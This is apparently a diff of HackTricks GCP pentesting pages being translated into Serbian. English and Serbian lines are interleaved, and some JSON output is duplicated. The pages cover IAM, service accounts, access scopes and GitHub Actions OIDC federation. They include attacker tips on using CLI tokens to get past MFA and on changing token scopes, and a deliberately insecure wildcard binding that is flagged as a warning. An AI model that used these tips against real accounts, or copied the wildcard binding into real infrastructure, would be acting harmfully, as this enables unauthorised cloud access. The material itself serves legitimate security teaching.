- **Prilagođene uloge**, koje pružaju granularan pristup prema listi dozvola koju je odredio korisnik.
|
||||
|
||||
There are thousands of permissions in GCP. In order to check if a role has a permissions you can [**search the permission here**](https://cloud.google.com/iam/docs/permissions-reference) and see which roles have it.
|
||||
Postoje hiljade dozvola u GCP-u. Da biste proverili da li uloga ima dozvolu, možete [**pretražiti dozvolu ovde**](https://cloud.google.com/iam/docs/permissions-reference) i videti koje uloge je imaju.
|
||||
|
||||
You can also [**search here predefined roles**](https://cloud.google.com/iam/docs/understanding-roles#product_specific_documentation) **offered by each product.** Note that some **roles** cannot be attached to users and **only to SAs because some permissions** they contain.\
|
||||
Moreover, note that **permissions** will only **take effect** if they are **attached to the relevant service.**
|
||||
Takođe možete [**pretražiti ovde predefinisane uloge**](https://cloud.google.com/iam/docs/understanding-roles#product_specific_documentation) **koje nudi svaki proizvod.** Imajte na umu da neke **uloge** ne mogu biti dodeljene korisnicima i **samo SA-ima zbog nekih dozvola** koje sadrže.\
|
||||
Pored toga, imajte na umu da će **dozvole** imati efekat samo ako su **priključene relevantnoj usluzi.**
|
||||
|
||||
Or check if a **custom role can use a** [**specific permission in here**](https://cloud.google.com/iam/docs/custom-roles-permissions-support)**.**
|
||||
Ili proverite da li **prilagođena uloga može koristiti** [**određenu dozvolu ovde**](https://cloud.google.com/iam/docs/custom-roles-permissions-support)**.**
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-iam-and-org-policies-enum.md
|
||||
{{#endref}}
|
||||
|
||||
## Users <a href="#default-credentials" id="default-credentials"></a>
|
||||
## Korisnici <a href="#default-credentials" id="default-credentials"></a>
|
||||
|
||||
In **GCP console** there **isn't any Users or Groups** management, that is done in **Google Workspace**. Although you could synchronize a different identity provider in Google Workspace.
|
||||
U **GCP konzoli** ne postoji upravljanje Korisnicima ili Grupama, to se obavlja u **Google Workspace**. Iako možete sinhronizovati različitog provajdera identiteta u Google Workspace.
|
||||
|
||||
You can access Workspaces **users and groups in** [**https://admin.google.com**](https://admin.google.com/).
|
||||
Možete pristupiti korisnicima i grupama Workspaces na [**https://admin.google.com**](https://admin.google.com/).
|
||||
|
||||
**MFA** can be **forced** to Workspaces users, however, an **attacker** could use a token to access GCP **via cli which won't be protected by MFA** (it will be protected by MFA only when the user logins to generate it: `gcloud auth login`).
|
||||
**MFA** može biti **prinudna** za korisnike Workspaces, međutim, **napadač** može koristiti token za pristup GCP **putem CLI koji neće biti zaštićen MFA** (biće zaštićen MFA samo kada se korisnik prijavi da ga generiše: `gcloud auth login`).
|
||||
|
||||
## Groups
|
||||
## Grupe
|
||||
|
||||
When an organisation is created several groups are **strongly suggested to be created.** If you manage any of them you might have compromised all or an important part of the organization:
|
||||
Kada se organizacija kreira, nekoliko grupa je **snažno preporučeno da se kreiraju.** Ako upravljate bilo kojom od njih, mogli biste kompromitovati sve ili važan deo organizacije:
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="299.3076923076923"></th><th></th></tr></thead><tbody><tr><td><strong>Group</strong></td><td><strong>Function</strong></td></tr><tr><td><strong><code>gcp-organization-admins</code></strong><br><em>(group or individual accounts required for checklist)</em></td><td>Administering any resource that belongs to the organization. Assign this role sparingly; org admins have access to all of your Google Cloud resources. Alternatively, because this function is highly privileged, consider using individual accounts instead of creating a group.</td></tr><tr><td><strong><code>gcp-network-admins</code></strong><br><em>(required for checklist)</em></td><td>Creating networks, subnets, firewall rules, and network devices such as Cloud Router, Cloud VPN, and cloud load balancers.</td></tr><tr><td><strong><code>gcp-billing-admins</code></strong><br><em>(required for checklist)</em></td><td>Setting up billing accounts and monitoring their usage.</td></tr><tr><td><strong><code>gcp-developers</code></strong><br><em>(required for checklist)</em></td><td>Designing, coding, and testing applications.</td></tr><tr><td><strong><code>gcp-security-admins</code></strong><br></td><td>Establishing and managing security policies for the entire organization, including access management and <a href="https://cloud.google.com/resource-manager/docs/organization-policy/org-policy-constraints">organization constraint policies</a>. See the <a href="https://cloud.google.com/architecture/security-foundations/authentication-authorization#users_and_groups">Google Cloud security foundations guide</a> for more information about planning your Google Cloud security infrastructure.</td></tr><tr><td><strong><code>gcp-devops</code></strong></td><td>Creating or managing end-to-end pipelines that support continuous integration and delivery, monitoring, and system provisioning.</td></tr><tr><td><strong><code>gcp-logging-admins</code></strong></td><td></td></tr><tr><td><strong><code>gcp-logging-viewers</code></strong></td><td></td></tr><tr><td><strong><code>gcp-monitor-admins</code></strong></td><td></td></tr><tr><td><strong><code>gcp-billing-viewer</code></strong><br><em>(no longer by default)</em></td><td>Monitoring the spend on projects. Typical members are part of the finance team.</td></tr><tr><td><strong><code>gcp-platform-viewer</code></strong><br><em>(no longer by default)</em></td><td>Reviewing resource information across the Google Cloud organization.</td></tr><tr><td><strong><code>gcp-security-reviewer</code></strong><br><em>(no longer by default)</em></td><td>Reviewing cloud security.</td></tr><tr><td><strong><code>gcp-network-viewer</code></strong><br><em>(no longer by default)</em></td><td>Reviewing network configurations.</td></tr><tr><td><strong><code>grp-gcp-audit-viewer</code></strong><br><em>(no longer by default)</em></td><td>Viewing audit logs.</td></tr><tr><td><strong><code>gcp-scc-admin</code></strong><br><em>(no longer by default)</em></td><td>Administering Security Command Center.</td></tr><tr><td><strong><code>gcp-secrets-admin</code></strong><br><em>(no longer by default)</em></td><td>Managing secrets in Secret Manager.</td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="299.3076923076923"></th><th></th></tr></thead><tbody><tr><td><strong>Grupa</strong></td><td><strong>Funkcija</strong></td></tr><tr><td><strong><code>gcp-organization-admins</code></strong><br><em>(grupa ili pojedinačni nalozi potrebni za kontrolnu listu)</em></td><td>Upravljanje bilo kojim resursom koji pripada organizaciji. Dodelite ovu ulogu štedljivo; administratori organizacije imaju pristup svim vašim Google Cloud resursima. Alternativno, s obzirom na to da je ova funkcija visoko privilegovana, razmislite o korišćenju pojedinačnih naloga umesto kreiranja grupe.</td></tr><tr><td><strong><code>gcp-network-admins</code></strong><br><em>(potrebno za kontrolnu listu)</em></td><td>Kreiranje mreža, podmreža, pravila vatrozida i mrežnih uređaja kao što su Cloud Router, Cloud VPN i cloud load balancers.</td></tr><tr><td><strong><code>gcp-billing-admins</code></strong><br><em>(potrebno za kontrolnu listu)</em></td><td>Postavljanje računa za naplatu i praćenje njihove upotrebe.</td></tr><tr><td><strong><code>gcp-developers</code></strong><br><em>(potrebno za kontrolnu listu)</em></td><td>Dizajniranje, kodiranje i testiranje aplikacija.</td></tr><tr><td><strong><code>gcp-security-admins</code></strong><br></td><td>Usmeravanje i upravljanje sigurnosnim politikama za celu organizaciju, uključujući upravljanje pristupom i <a href="https://cloud.google.com/resource-manager/docs/organization-policy/org-policy-constraints">politike ograničenja organizacije</a>. Pogledajte <a href="https://cloud.google.com/architecture/security-foundations/authentication-authorization#users_and_groups">vodič za sigurnosne osnove Google Clouda</a> za više informacija o planiranju vaše Google Cloud sigurnosne infrastrukture.</td></tr><tr><td><strong><code>gcp-devops</code></strong></td><td>Kreiranje ili upravljanje end-to-end procesima koji podržavaju kontinuiranu integraciju i isporuku, praćenje i sistemsko obezbeđenje.</td></tr><tr><td><strong><code>gcp-logging-admins</code></strong></td><td></td></tr><tr><td><strong><code>gcp-logging-viewers</code></strong></td><td></td></tr><tr><td><strong><code>gcp-monitor-admins</code></strong></td><td></td></tr><tr><td><strong><code>gcp-billing-viewer</code></strong><br><em>(više nije podrazumevano)</em></td><td>Praćenje troškova na projektima. Tipični članovi su deo finansijskog tima.</td></tr><tr><td><strong><code>gcp-platform-viewer</code></strong><br><em>(više nije podrazumevano)</em></td><td>Pregled informacija o resursima širom Google Cloud organizacije.</td></tr><tr><td><strong><code>gcp-security-reviewer</code></strong><br><em>(više nije podrazumevano)</em></td><td>Pregledanje sigurnosti u oblaku.</td></tr><tr><td><strong><code>gcp-network-viewer</code></strong><br><em>(više nije podrazumevano)</em></td><td>Pregledanje mrežnih konfiguracija.</td></tr><tr><td><strong><code>grp-gcp-audit-viewer</code></strong><br><em>(više nije podrazumevano)</em></td><td>Pregledanje revizorskih logova.</td></tr><tr><td><strong><code>gcp-scc-admin</code></strong><br><em>(više nije podrazumevano)</em></td><td>Upravljanje Security Command Center-om.</td></tr><tr><td><strong><code>gcp-secrets-admin</code></strong><br><em>(više nije podrazumevano)</em></td><td>Upravljanje tajnama u Secret Manager-u.</td></tr></tbody></table>
|
||||
|
||||
## **Default Password Policy**
|
||||
## **Podrazumevana Politika Lozinki**
|
||||
|
||||
- Enforce strong passwords
|
||||
- Between 8 and 100 characters
|
||||
- No reuse
|
||||
- No expiration
|
||||
- If people is accessing Workspace through a third party provider, these requirements aren't applied.
|
||||
- Sprovodite jake lozinke
|
||||
- Između 8 i 100 karaktera
|
||||
- Bez ponovne upotrebe
|
||||
- Bez isteka
|
||||
- Ako ljudi pristupaju Workspace-u putem treće strane, ovi zahtevi se ne primenjuju.
|
||||
|
||||
<figure><img src="../../../images/image (20).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
<figure><img src="../../../images/image (22).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## **Service accounts**
|
||||
## **Nalozi usluga**
|
||||
|
||||
These are the principals that **resources** can **have** **attached** and access to interact easily with GCP. For example, it's possible to access the **auth token** of a Service Account **attached to a VM** in the metadata.\
|
||||
It is possible to encounter some **conflicts** when using both **IAM and access scopes**. For example, your service account may have the IAM role of `compute.instanceAdmin` but the instance you've breached has been crippled with the scope limitation of `https://www.googleapis.com/auth/compute.readonly`. This would prevent you from making any changes using the OAuth token that's automatically assigned to your instance.
|
||||
Ovo su principi koje **resursi** mogu **imati** **priključene** i pristupiti kako bi lako interagovali sa GCP-om. Na primer, moguće je pristupiti **auth tokenu** naloga usluga **priključenog VM-u** u metapodacima.\
|
||||
Moguće je naići na neke **sukobe** kada se koriste i **IAM i pristupne oblasti**. Na primer, vaš nalog usluga može imati IAM ulogu `compute.instanceAdmin`, ali instanca koju ste kompromitovali ima ograničenje opsega `https://www.googleapis.com/auth/compute.readonly`. Ovo bi vam onemogućilo da napravite bilo kakve promene koristeći OAuth token koji je automatski dodeljen vašoj instanci.
|
||||
|
||||
It's similar to **IAM roles from AWS**. But not like in AWS, **any** service account can be **attached to any service** (it doesn't need to allow it via a policy).
|
||||
|
||||
Several of the service accounts that you will find are actually **automatically generated by GCP** when you start using a service, like:
|
||||
Slično je **IAM ulogama iz AWS-a**. Ali ne kao u AWS-u, **bilo koji** nalog usluga može biti **priključen bilo kojoj usluzi** (ne mora to dozvoliti putem politike).
|
||||
|
||||
Nekoliko naloga usluga koje ćete pronaći su zapravo **automatski generisani od strane GCP-a** kada počnete koristiti uslugu, kao:
|
||||
```
|
||||
PROJECT_NUMBER-compute@developer.gserviceaccount.com
|
||||
PROJECT_ID@appspot.gserviceaccount.com
|
||||
```
|
||||
|
||||
However, it's also possible to create and attach to resources **custom service accounts**, which will look like this:
|
||||
|
||||
Međutim, takođe je moguće kreirati i povezati se sa resursima **prilagođenim servisnim nalozima**, koji će izgledati ovako:
|
||||
```
|
||||
SERVICE_ACCOUNT_NAME@PROJECT_NAME.iam.gserviceaccount.com
|
||||
```
|
||||
### **Ključevi i Tokeni**
|
||||
|
||||
### **Keys & Tokens**
|
||||
Postoje 2 glavna načina za pristup GCP kao servisni nalog:
|
||||
|
||||
There are 2 main ways to access GCP as a service account:
|
||||
- **Putem OAuth tokena**: Ovo su tokeni koje ćete dobiti sa mesta kao što su metapodaci ili krađom http zahteva i ograničeni su **opsegom pristupa**.
|
||||
- **Ključevi**: Ovo su javni i privatni parovi ključeva koji će vam omogućiti da potpišete zahteve kao servisni nalog i čak generišete OAuth tokene za izvršavanje akcija kao servisni nalog. Ovi ključevi su opasni jer je komplikovanije ograničiti i kontrolisati ih, zato GCP preporučuje da ih ne generišete.
|
||||
- Imajte na umu da svaki put kada se kreira SA, **GCP generiše ključ za servisni nalog** kojem korisnik ne može pristupiti (i neće biti naveden u web aplikaciji). Prema [**ovoj temi**](https://www.reddit.com/r/googlecloud/comments/f0ospy/service_account_keys_observations/) ovaj ključ je **interno korišćen od strane GCP** da omogući metapodacima pristup za generisanje dostupnih OAuth tokena.
|
||||
|
||||
- **Via OAuth tokens**: These are tokens that you will get from places like metadata endpoints or stealing http requests and they are limited by the **access scopes**.
|
||||
- **Keys**: These are public and private key pairs that will allow you to sign requests as the service account and even generate OAuth tokens to perform actions as the service account. These keys are dangerous because they are more complicated to limit and control, that's why GCP recommend to not generate them.
|
||||
- Note that every-time a SA is created, **GCP generates a key for the service account** that the user cannot access (and won't be listed in the web application). According to [**this thread**](https://www.reddit.com/r/googlecloud/comments/f0ospy/service_account_keys_observations/) this key is **used internally by GCP** to give metadata endpoints access to generate the accesible OAuth tokens.
|
||||
### **Opsezi pristupa**
|
||||
|
||||
### **Access scopes**
|
||||
Opsezi pristupa su **priključeni generisanim OAuth tokenima** za pristup GCP API krajnjim tačkama. Oni **ograničavaju dozvole** OAuth tokena.\
|
||||
To znači da ako token pripada vlasniku resursa, ali nema u opsegu tokena pristup tom resursu, token **ne može biti korišćen za (zlo)upotrebu tih privilegija**.
|
||||
|
||||
Access scope are **attached to generated OAuth tokens** to access the GCP API endpoints. They **restrict the permissions** of the OAuth token.\
|
||||
This means that if a token belongs to an Owner of a resource but doesn't have the in the token scope to access that resource, the token **cannot be used to (ab)use those privileges**.
|
||||
|
||||
Google actually [recommends](https://cloud.google.com/compute/docs/access/service-accounts#service_account_permissions) that **access scopes are not used and to rely totally on IAM**. The web management portal actually enforces this, but access scopes can still be applied to instances using custom service accounts programmatically.
|
||||
|
||||
You can see what **scopes** are **assigned** by **querying:**
|
||||
Google zapravo [preporučuje](https://cloud.google.com/compute/docs/access/service-accounts#service_account_permissions) da **opsezi pristupa ne budu korišćeni i da se potpuno oslanjaju na IAM**. Web portal za upravljanje zapravo to sprovodi, ali opsezi pristupa se i dalje mogu primeniti na instance koristeći prilagođene servisne naloge programatski.
|
||||
|
||||
Možete videti koji su **opsezi** **dodeljeni** **upitom:**
|
||||
```bash
|
||||
curl 'https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=<access_token>'
|
||||
|
||||
{
|
||||
"issued_to": "223044615559.apps.googleusercontent.com",
|
||||
"audience": "223044615559.apps.googleusercontent.com",
|
||||
"user_id": "139746512919298469201",
|
||||
"scope": "openid https://www.googleapis.com/auth/userinfo.email https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/appengine.admin https://www.googleapis.com/auth/sqlservice.login https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/accounts.reauth",
|
||||
"expires_in": 2253,
|
||||
"email": "username@testing.com",
|
||||
"verified_email": true,
|
||||
"access_type": "offline"
|
||||
"issued_to": "223044615559.apps.googleusercontent.com",
|
||||
"audience": "223044615559.apps.googleusercontent.com",
|
||||
"user_id": "139746512919298469201",
|
||||
"scope": "openid https://www.googleapis.com/auth/userinfo.email https://www.googleapis.com/auth/cloud-platform https://www.googleapis.com/auth/appengine.admin https://www.googleapis.com/auth/sqlservice.login https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/accounts.reauth",
|
||||
"expires_in": 2253,
|
||||
"email": "username@testing.com",
|
||||
"verified_email": true,
|
||||
"access_type": "offline"
|
||||
}
|
||||
```
|
||||
Prethodni **scopes** su oni generisani **default** koristeći **`gcloud`** za pristup podacima. To je zato što kada koristite **`gcloud`** prvo kreirate OAuth token, a zatim ga koristite za kontaktiranje krajnjih tačaka.
|
||||
|
||||
The previous **scopes** are the ones generated by **default** using **`gcloud`** to access data. This is because when you use **`gcloud`** you first create an OAuth token, and then use it to contact the endpoints.
|
||||
Najvažniji scope od onih potencijalno je **`cloud-platform`**, što u suštini znači da je moguće **pristupiti bilo kojoj usluzi u GCP**.
|
||||
|
||||
The most important scope of those potentially is **`cloud-platform`**, which basically means that it's possible to **access any service in GCP**.
|
||||
|
||||
You can **find a list of** [**all the possible scopes in here**](https://developers.google.com/identity/protocols/googlescopes)**.**
|
||||
|
||||
If you have **`gcloud`** browser credentials, it's possible to **obtain a token with other scopes,** doing something like:
|
||||
Možete **pronaći listu** [**svih mogućih scopes ovde**](https://developers.google.com/identity/protocols/googlescopes)**.**
|
||||
|
||||
Ako imate **`gcloud`** kredencijale za pretraživač, moguće je **dobiti token sa drugim scopes,** radeći nešto poput:
|
||||
```bash
|
||||
# Maybe you can get a user token with other scopes changing the scopes array from ~/.config/gcloud/credentials.db
|
||||
|
||||
@@ -213,22 +204,17 @@ gcloud auth application-default print-access-token
|
||||
|
||||
# To use this token with some API you might need to use curl to indicate the project header with --header "X-Goog-User-Project: <project-name>"
|
||||
```
|
||||
## **Terraform IAM Politike, Povezivanja i Članstva**
|
||||
|
||||
## **Terraform IAM Policies, Bindings and Memberships**
|
||||
Kao što je definisano od strane terraform-a u [https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/google_project_iam](https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/google_project_iam), korišćenjem terraform-a sa GCP postoje različiti načini za dodeljivanje pristupa principalu nad resursom:
|
||||
|
||||
As defined by terraform in [https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/google_project_iam](https://registry.terraform.io/providers/hashicorp/google/latest/docs/resources/google_project_iam) using terraform with GCP there are different ways to grant a principal access over a resource:
|
||||
- **Članstva**: Postavljate **principale kao članove uloga** **bez ograničenja** nad ulogom ili principima. Možete postaviti korisnika kao člana uloge, a zatim postaviti grupu kao člana iste uloge i takođe postaviti te principe (korisnika i grupu) kao članove drugih uloga.
|
||||
- **Povezivanja**: Nekoliko **principala može biti povezano sa ulogom**. Ti **principali mogu i dalje biti povezani ili članovi drugih uloga**. Međutim, ako je principal koji nije povezan sa ulogom postavljen kao **član povezane uloge**, sledeći put kada se **povezivanje primeni, članstvo će nestati**.
|
||||
- **Politike**: Politika je **autoritativna**, ukazuje na uloge i principe i tada, **ti principi ne mogu imati više uloga i te uloge ne mogu imati više principa** osim ako ta politika nije izmenjena (čak ni u drugim politikama, povezivanjima ili članstvima). Stoga, kada je uloga ili principal specificiran u politici, sva njegova ovlašćenja su **ograničena tom politikom**. Očigledno, ovo se može zaobići u slučaju da principal dobije opciju da izmeni politiku ili dozvole za eskalaciju privilegija (kao što je kreiranje novog principala i povezivanje njega sa novom ulogom).
|
||||
|
||||
- **Memberships**: You set **principals as members of roles** **without restrictions** over the role or the principals. You can put a user as a member of a role and then put a group as a member of the same role and also set those principals (user and group) as member of other roles.
|
||||
- **Bindings**: Several **principals can be binded to a role**. Those **principals can still be binded or be members of other roles**. However, if a principal which isn’t binded to the role is set as **member of a binded role**, the next time the **binding is applied, the membership will disappear**.
|
||||
- **Policies**: A policy is **authoritative**, it indicates roles and principals and then, **those principals cannot have more roles and those roles cannot have more principals** unless that policy is modified (not even in other policies, bindings or memberships). Therefore, when a role or principal is specified in policy all its privileges are **limited by that policy**. Obviously, this can be bypassed in case the principal is given the option to modify the policy or privilege escalation permissions (like create a new principal and bind him a new role).
|
||||
|
||||
## References
|
||||
## Reference
|
||||
|
||||
- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)
|
||||
- [https://cloud.google.com/resource-manager/docs/cloud-platform-resource-hierarchy](https://cloud.google.com/resource-manager/docs/cloud-platform-resource-hierarchy)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -6,10 +6,9 @@
|
||||
|
||||
### GCP
|
||||
|
||||
In order to give **access to the Github Actions** from a Github repo to a GCP **service account** the following steps are needed:
|
||||
|
||||
- **Create the Service Account** to access from github actions with the **desired permissions:**
|
||||
Da bi se obezbedio **pristup Github Actions** iz Github repozitorijuma GCP **servisnom nalogu**, potrebni su sledeći koraci:
|
||||
|
||||
- **Kreirajte Servisni Nalog** za pristup iz github actions sa **željеним dozvolama:**
|
||||
```bash
|
||||
projectId=FIXME
|
||||
gcloud config set project $projectId
|
||||
@@ -24,134 +23,121 @@ gcloud services enable iamcredentials.googleapis.com
|
||||
# Give permissions to SA
|
||||
|
||||
gcloud projects add-iam-policy-binding $projectId \
|
||||
--member="serviceAccount:$saId" \
|
||||
--role="roles/iam.securityReviewer"
|
||||
--member="serviceAccount:$saId" \
|
||||
--role="roles/iam.securityReviewer"
|
||||
```
|
||||
|
||||
- Generate a **new workload identity pool**:
|
||||
|
||||
- Generišite **novi identitetski bazen radnog opterećenja**:
|
||||
```bash
|
||||
# Create a Workload Identity Pool
|
||||
poolName=wi-pool
|
||||
|
||||
gcloud iam workload-identity-pools create $poolName \
|
||||
--location global \
|
||||
--display-name $poolName
|
||||
--location global \
|
||||
--display-name $poolName
|
||||
|
||||
poolId=$(gcloud iam workload-identity-pools describe $poolName \
|
||||
--location global \
|
||||
--format='get(name)')
|
||||
--location global \
|
||||
--format='get(name)')
|
||||
```
|
||||
|
||||
- Generate a new **workload identity pool OIDC provider** that **trusts** github actions (by org/repo name in this scenario):
|
||||
|
||||
- Generišite novi **workload identity pool OIDC provider** koji **veruje** github akcijama (prema imenu org/repo u ovom scenariju):
|
||||
```bash
|
||||
attributeMappingScope=repository # could be sub (GitHub repository and branch) or repository_owner (GitHub organization)
|
||||
|
||||
gcloud iam workload-identity-pools providers create-oidc $poolName \
|
||||
--location global \
|
||||
--workload-identity-pool $poolName \
|
||||
--display-name $poolName \
|
||||
--attribute-mapping "google.subject=assertion.${attributeMappingScope},attribute.actor=assertion.actor,attribute.aud=assertion.aud,attribute.repository=assertion.repository" \
|
||||
--issuer-uri "https://token.actions.githubusercontent.com"
|
||||
--location global \
|
||||
--workload-identity-pool $poolName \
|
||||
--display-name $poolName \
|
||||
--attribute-mapping "google.subject=assertion.${attributeMappingScope},attribute.actor=assertion.actor,attribute.aud=assertion.aud,attribute.repository=assertion.repository" \
|
||||
--issuer-uri "https://token.actions.githubusercontent.com"
|
||||
|
||||
providerId=$(gcloud iam workload-identity-pools providers describe $poolName \
|
||||
--location global \
|
||||
--workload-identity-pool $poolName \
|
||||
--format='get(name)')
|
||||
--location global \
|
||||
--workload-identity-pool $poolName \
|
||||
--format='get(name)')
|
||||
```
|
||||
|
||||
- Finally, **allow the principal** from the provider to use a service principal:
|
||||
|
||||
- Na kraju, **dozvolite principalu** od provajdera da koristi servisni principal:
|
||||
```bash
|
||||
gitHubRepoName="repo-org/repo-name"
|
||||
gcloud iam service-accounts add-iam-policy-binding $saId \
|
||||
--role "roles/iam.workloadIdentityUser" \
|
||||
--member "principalSet://iam.googleapis.com/${poolId}/attribute.${attributeMappingScope}/${gitHubRepoName}"
|
||||
--role "roles/iam.workloadIdentityUser" \
|
||||
--member "principalSet://iam.googleapis.com/${poolId}/attribute.${attributeMappingScope}/${gitHubRepoName}"
|
||||
```
|
||||
|
||||
> [!WARNING]
|
||||
> Note how in the previous member we are specifying the **`org-name/repo-name`** as conditions to be able to access the service account (other params that makes it **more restrictive** like the branch could also be used).
|
||||
> Obratite pažnju kako u prethodnom članu specifikujemo **`org-name/repo-name`** kao uslove za pristup servisnom nalogu (drugi parametri koji ga čine **strožim** kao što je grana takođe mogu biti korišćeni).
|
||||
>
|
||||
> However it's also possible to **allow all github to access** the service account creating a provider such the following using a wildcard:
|
||||
> Međutim, takođe je moguće **dozvoliti svim github korisnicima pristup** servisnom nalogu kreiranjem provajdera kao što je sledeći koristeći wildcard:
|
||||
|
||||
<pre class="language-bash"><code class="lang-bash"># Create a Workload Identity Pool
|
||||
poolName=wi-pool2
|
||||
|
||||
gcloud iam workload-identity-pools create $poolName \
|
||||
--location global \
|
||||
--display-name $poolName
|
||||
--location global \
|
||||
--display-name $poolName
|
||||
|
||||
poolId=$(gcloud iam workload-identity-pools describe $poolName \
|
||||
--location global \
|
||||
--format='get(name)')
|
||||
--location global \
|
||||
--format='get(name)')
|
||||
|
||||
gcloud iam workload-identity-pools providers create-oidc $poolName \
|
||||
--project="${projectId}" \
|
||||
--location="global" \
|
||||
--workload-identity-pool="$poolName" \
|
||||
--display-name="Demo provider" \
|
||||
--attribute-mapping="google.subject=assertion.sub,attribute.actor=assertion.actor,attribute.aud=assertion.aud" \
|
||||
--issuer-uri="https://token.actions.githubusercontent.com"
|
||||
--project="${projectId}" \
|
||||
--location="global" \
|
||||
--workload-identity-pool="$poolName" \
|
||||
--display-name="Demo provider" \
|
||||
--attribute-mapping="google.subject=assertion.sub,attribute.actor=assertion.actor,attribute.aud=assertion.aud" \
|
||||
--issuer-uri="https://token.actions.githubusercontent.com"
|
||||
|
||||
providerId=$(gcloud iam workload-identity-pools providers describe $poolName \
|
||||
--location global \
|
||||
--workload-identity-pool $poolName \
|
||||
--format='get(name)')
|
||||
--location global \
|
||||
--workload-identity-pool $poolName \
|
||||
--format='get(name)')
|
||||
|
||||
<strong># CHECK THE WILDCARD
|
||||
</strong>gcloud iam service-accounts add-iam-policy-binding "${saId}" \
|
||||
--project="${projectId}" \
|
||||
--role="roles/iam.workloadIdentityUser" \
|
||||
--project="${projectId}" \
|
||||
--role="roles/iam.workloadIdentityUser" \
|
||||
<strong> --member="principalSet://iam.googleapis.com/${poolId}/*"
|
||||
</strong></code></pre>
|
||||
|
||||
> [!WARNING]
|
||||
> In this case anyone could access the service account from github actions, so it's important always to **check how the member is defined**.\
|
||||
> It should be always something like this:
|
||||
> U ovom slučaju bilo ko bi mogao pristupiti servisnom nalogu iz github akcija, tako da je važno uvek **proveriti kako je član definisan**.\
|
||||
> Trebalo bi uvek da bude nešto poput ovoga:
|
||||
>
|
||||
> `attribute.{custom_attribute}`:`principalSet://iam.googleapis.com/projects/{project}/locations/{location}/workloadIdentityPools/{pool}/attribute.{custom_attribute}/{value}`
|
||||
|
||||
### Github
|
||||
|
||||
Remember to change **`${providerId}`** and **`${saId}`** for their respective values:
|
||||
|
||||
Zapamtite da promenite **`${providerId}`** i **`${saId}`** za njihove odgovarajuće vrednosti:
|
||||
```yaml
|
||||
name: Check GCP action
|
||||
on:
|
||||
workflow_dispatch:
|
||||
pull_request:
|
||||
branches:
|
||||
- main
|
||||
workflow_dispatch:
|
||||
pull_request:
|
||||
branches:
|
||||
- main
|
||||
|
||||
permissions:
|
||||
id-token: write
|
||||
id-token: write
|
||||
|
||||
jobs:
|
||||
Get_OIDC_ID_token:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- id: "auth"
|
||||
name: "Authenticate to GCP"
|
||||
uses: "google-github-actions/auth@v2.1.3"
|
||||
with:
|
||||
create_credentials_file: "true"
|
||||
workload_identity_provider: "${providerId}" # In the providerId, the numerical project ID (12 digit number) should be used
|
||||
service_account: "${saId}" # instead of the alphanumeric project ID. ex:
|
||||
activate_credentials_file: true # projects/123123123123/locations/global/workloadIdentityPools/iam-lab-7-gh-pool/providers/iam-lab-7-gh-pool-oidc-provider'
|
||||
- id: "gcloud"
|
||||
name: "gcloud"
|
||||
run: |-
|
||||
gcloud config set project <project-id>
|
||||
gcloud config set account '${saId}'
|
||||
gcloud auth login --brief --cred-file="${{ steps.auth.outputs.credentials_file_path }}"
|
||||
gcloud auth list
|
||||
gcloud projects list
|
||||
gcloud secrets list
|
||||
Get_OIDC_ID_token:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- id: "auth"
|
||||
name: "Authenticate to GCP"
|
||||
uses: "google-github-actions/auth@v2.1.3"
|
||||
with:
|
||||
create_credentials_file: "true"
|
||||
workload_identity_provider: "${providerId}" # In the providerId, the numerical project ID (12 digit number) should be used
|
||||
service_account: "${saId}" # instead of the alphanumeric project ID. ex:
|
||||
activate_credentials_file: true # projects/123123123123/locations/global/workloadIdentityPools/iam-lab-7-gh-pool/providers/iam-lab-7-gh-pool-oidc-provider'
|
||||
- id: "gcloud"
|
||||
name: "gcloud"
|
||||
run: |-
|
||||
gcloud config set project <project-id>
|
||||
gcloud config set account '${saId}'
|
||||
gcloud auth login --brief --cred-file="${{ steps.auth.outputs.credentials_file_path }}"
|
||||
gcloud auth list
|
||||
gcloud projects list
|
||||
gcloud secrets list
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,54 +1,49 @@
|
||||
# GCP - Permissions for a Pentest
|
||||
|
||||
If you want to pentest a GCP environment you need to ask for enough permissions to **check all or most of the services** used in **GCP**. Ideally, you should ask the client to create:
|
||||
Ako želite da izvršite pentest u GCP okruženju, potrebno je da zatražite dovoljno dozvola da **proverite sve ili većinu usluga** korišćenih u **GCP**. Idealno, trebali biste zamoliti klijenta da kreira:
|
||||
|
||||
* **Create** a new **project**
|
||||
* **Create** a **Service Account** inside that project (get **json credentials**) or create a **new user**.
|
||||
* **Give** the **Service account** or the **user** the **roles** mentioned later over the ORGANIZATION
|
||||
* **Enable** the **APIs** mentioned later in this post in the created project
|
||||
|
||||
**Set of permissions** to use the tools proposed later:
|
||||
* **Kreirajte** novi **projekat**
|
||||
* **Kreirajte** **Servisni nalog** unutar tog projekta (dobijte **json kredencijale**) ili kreirajte **novog korisnika**.
|
||||
* **Dajte** **Servisnom nalogu** ili **korisniku** **uloge** pomenute kasnije nad ORGANIZACIJOM
|
||||
* **Omogućite** **API-e** pomenute kasnije u ovom postu u kreiranom projektu
|
||||
|
||||
**Skup dozvola** za korišćenje alata predloženih kasnije:
|
||||
```bash
|
||||
roles/viewer
|
||||
roles/resourcemanager.folderViewer
|
||||
roles/resourcemanager.organizationViewer
|
||||
```
|
||||
|
||||
APIs to enable (from starbase):
|
||||
|
||||
API-je koje treba omogućiti (iz starbase):
|
||||
```
|
||||
gcloud services enable \
